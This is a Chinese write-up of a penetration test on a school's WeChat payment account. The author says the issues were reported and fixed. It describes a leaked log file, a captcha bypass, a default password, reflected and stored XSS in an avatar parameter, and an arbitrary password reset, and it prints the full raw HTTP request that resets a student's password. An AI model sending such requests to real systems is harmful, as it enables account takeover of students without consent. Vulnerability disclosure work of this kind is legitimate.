实战|针对学校公众号的一次渗透

0X01前言

这学期开学交学费的时候,学校开了一个公众号让我们去缴费,随手测试已提交并修复,水文一篇记录一下

0x02信息泄露

一些支付的订单和数据库的信息

xxxxxxxxx.com/wx/log/log.log

0x03任意密码重置

通过忘记密码的页面

xxxxxxxx.com/toForgetSscret

查看源代码可以看到重置密码的数据包构造

构造数据包，来重置20xxxxxxxxxx的密码

POST /updateP HTTP/1.1Host: xxxxxxxx.comContent-Length: 41Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"newp":"xX123456","yhbh":"20xxxxxxxxxx"}

发包成功重置

0x04验证码绕过

虽然不痛不痒但是提一嘴,前端校验数据包内没有验证码字段,默认密码000000，或者重置密码后可以用随机openid来绑定这些账号让他们原主人绑定不上去也算危害

0x05反射xss

在登入页面的显示头像的参数上过滤不严导出xss

0x06存储xss

通过存在反射xss的链接去绑定他会存储头像，绑定成功后来到首页就弹窗转换为存储xss

查看源代码

作者：JunMo，转载于http://blog.mo60.cn/

   学习更多技术，关注我：   

原文始发于微信公众号（编码安全研究）：实战|针对学校公众号的一次渗透